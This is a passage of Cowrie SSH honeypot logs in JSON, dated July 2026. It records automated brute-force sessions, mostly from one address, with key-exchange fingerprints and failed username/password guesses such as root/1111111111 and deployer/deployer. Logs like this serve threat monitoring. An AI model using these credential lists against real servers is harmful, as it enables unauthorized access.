gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:33.232195Z","src_ip":"91.92.40.23","session":"08bec37aac3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak","message":"login attempt [ts3/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:34.795308Z","src_ip":"91.92.40.23","session":"8d3e1f51f558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":45144,"dst_ip":"10.17.0.5","dst_port":22,"session":"66d3864626d7","protocol":"ssh","message":"New connection: 91.92.40.23:45144 (10.17.0.5:22) [session: 66d3864626d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:35.211667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:36.990401Z","src_ip":"91.92.40.23","session":"66d3864626d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:36.993087Z","src_ip":"91.92.40.23","session":"66d3864626d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:37.580258Z","src_ip":"91.92.40.23","session":"8d3e1f51f558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":45170,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f4a65290d29","protocol":"ssh","message":"New connection: 91.92.40.23:45170 (10.17.0.5:22) [session: 0f4a65290d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:39.093972Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111111111","message":"login attempt [root/1111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:40.555369Z","src_ip":"91.92.40.23","session":"08bec37aac3c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:41.501280Z","src_ip":"91.92.40.23","session":"0f4a65290d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:41.516250Z","src_ip":"91.92.40.23","session":"0f4a65290d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:43.625699Z","src_ip":"91.92.40.23","session":"08bec37aac3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":45178,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3f867e71f02","protocol":"ssh","message":"New connection: 91.92.40.23:45178 (10.17.0.5:22) [session: e3f867e71f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:43.848201Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:45.643314Z","src_ip":"91.92.40.23","session":"66d3864626d7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:46.223604Z","src_ip":"91.92.40.23","session":"e3f867e71f02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:46.226604Z","src_ip":"91.92.40.23","session":"e3f867e71f02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":38602,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dfcc74243e3","protocol":"ssh","message":"New connection: 87.251.79.125:38602 (10.17.0.5:22) [session: 8dfcc74243e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:48.657043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:48.660967Z","src_ip":"87.251.79.125","session":"8dfcc74243e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:48.732789Z","src_ip":"87.251.79.125","session":"8dfcc74243e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":41948,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1cc9e1f04e2","protocol":"ssh","message":"New connection: 91.92.40.23:41948 (10.17.0.5:22) [session: e1cc9e1f04e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:48.891877Z"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:48.918645Z","src_ip":"91.92.40.23","session":"66d3864626d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serega1988","message":"login attempt [root/serega1988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:48.951962Z","src_ip":"87.251.79.125","session":"8dfcc74243e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:50.028104Z","src_ip":"87.251.79.125","session":"8dfcc74243e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ui","password":"ui","message":"login attempt [ui/ui] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:50.455672Z","src_ip":"91.92.40.23","session":"0f4a65290d29","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:51.511200Z","src_ip":"91.92.40.23","session":"e1cc9e1f04e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:51.514054Z","src_ip":"91.92.40.23","session":"e1cc9e1f04e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.2","message":"Connection lost after 14.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:53.278136Z","src_ip":"91.92.40.23","session":"0f4a65290d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:54.602542Z","src_ip":"91.92.40.23","session":"e3f867e71f02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":18924,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b3b375be194","protocol":"ssh","message":"New connection: 91.92.40.23:18924 (10.17.0.5:22) [session: 2b3b375be194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:54.952246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:56.708040Z","src_ip":"91.92.40.23","session":"2b3b375be194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:56.710647Z","src_ip":"91.92.40.23","session":"2b3b375be194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:57.424064Z","src_ip":"91.92.40.23","session":"e3f867e71f02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"12345678","message":"login attempt [ftpuser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:53:58.326324Z","src_ip":"91.92.40.23","session":"e1cc9e1f04e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":18942,"dst_ip":"10.17.0.5","dst_port":22,"session":"188551995ae5","protocol":"ssh","message":"New connection: 91.92.40.23:18942 (10.17.0.5:22) [session: 188551995ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:00.162011Z"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:00.329577Z","src_ip":"91.92.40.23","session":"e1cc9e1f04e2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:01.190915Z","src_ip":"91.92.40.23","session":"188551995ae5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:01.197981Z","src_ip":"91.92.40.23","session":"188551995ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jack","password":"1234","message":"login attempt [jack/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:01.531573Z","src_ip":"91.92.40.23","session":"2b3b375be194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:03.827480Z","src_ip":"91.92.40.23","session":"2b3b375be194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":18972,"dst_ip":"10.17.0.5","dst_port":22,"session":"1796ac1f7617","protocol":"ssh","message":"New connection: 91.92.40.23:18972 (10.17.0.5:22) [session: 1796ac1f7617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:04.277326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:05.716963Z","src_ip":"91.92.40.23","session":"1796ac1f7617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:05.723674Z","src_ip":"91.92.40.23","session":"1796ac1f7617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"12345","message":"login attempt [main/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:07.563505Z","src_ip":"91.92.40.23","session":"188551995ae5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.23","src_port":23436,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3d97c867462","protocol":"ssh","message":"New connection: 91.92.40.23:23436 (10.17.0.5:22) [session: c3d97c867462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:54:09.637588Z"}
